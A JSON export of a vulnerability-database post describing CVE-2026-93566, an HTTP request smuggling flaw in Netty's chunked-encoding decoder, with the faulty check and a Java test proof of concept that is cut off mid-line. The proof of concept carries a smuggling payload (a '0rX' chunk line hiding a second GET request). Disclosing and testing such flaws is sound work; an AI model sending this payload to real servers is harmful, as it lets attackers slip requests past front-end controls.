{"id":26441,"date":"2026-09-19T00:31:37","date_gmt":"2026-09-18T16:31:37","guid":{"rendered":"https:\/\/www.54iter.cn\/?vuln=cve-2026-93566"},"modified":"2026-09-19T00:31:37","modified_gmt":"2026-09-18T16:31:37","slug":"cve-2026-93566","status":"publish","type":"vuln","link":"https:\/\/www.54iter.cn\/?vuln=cve-2026-93566","title":{"rendered":"CVE-2026-93566 [MEDIUM] &#8211; ### Summary\r\nNetty skips strict chunk size line validation when the line has no chunk exte"},"content":{"rendered":"<p>### Summary<br \/>\nNetty skips strict chunk size line validation when the line has no chunk extension (`;`), so a chunk size line containing an embedded bare CR (e.g. `0rX`) is accepted instead of rejected, enabling HTTP request smuggling.<\/p>\n<p>### Details<br \/>\n`io.netty.handler.codec.http.HttpObjectDecoder#checkChunkExtensions` only runs the strict validator `HttpChunkLineValidatingByteProcessor` when a `;` is present:<\/p>\n<p>&#8220;`java<br \/>\n        int extensionsStart = line.bytesBefore((byte) &#8216;;&#8217;);<br \/>\n        if (extensionsStart == -1) {<br \/>\n            return;<br \/>\n        }<br \/>\n&#8220;`<\/p>\n<p>According to RFC 9112 https:\/\/datatracker.ietf.org\/doc\/html\/rfc9112#appendix-A<\/p>\n<p>`chunk-size = 1*HEXDIG`<\/p>\n<p>### PoC<\/p>\n<p>&#8220;`java<br \/>\n@Test<br \/>\npublic void test() {<br \/>\n    String requestStr = &#8220;POST \/ HTTP\/1.1rn&#8221; +<br \/>\n            &#8220;Host: localhostrn&#8221; +<br \/>\n            &#8220;Transfer-Encoding: chunkedrnrn&#8221; +<br \/>\n            &#8220;0rXrn&#8221; +<br \/>\n            &#8220;rn&#8221; +<br \/>\n            &#8220;GET \/smuggled HTTP\/1.1rn&#8221; +<br \/>\n            &#8220;Host: localhostrn&#8221; +<br \/>\n            &#8220;Content-Length: 0rn&#8221; +<br \/>\n            &#8220;rn&#8221;;<\/p>\n<p>    EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());<br \/>\n    assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, Ch<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### Summary<br \/>\nNetty skips strict chunk size line validation when the line has no chunk extension (`;`), so a chunk size line containing an embedded bare CR (e.g. `0rX`) is accepted instead of rejected<\/p>\n","protected":false},"template":"","meta":[],"categories":[],"tags":[],"class_list":["post-26441","vuln","type-vuln","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/www.54iter.cn\/index.php?rest_route=\/wp\/v2\/vuln\/26441","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.54iter.cn\/index.php?rest_route=\/wp\/v2\/vuln"}],"about":[{"href":"https:\/\/www.54iter.cn\/index.php?rest_route=\/wp\/v2\/types\/vuln"}],"wp:attachment":[{"href":"https:\/\/www.54iter.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=26441"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.54iter.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=26441"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.54iter.cn\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=26441"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}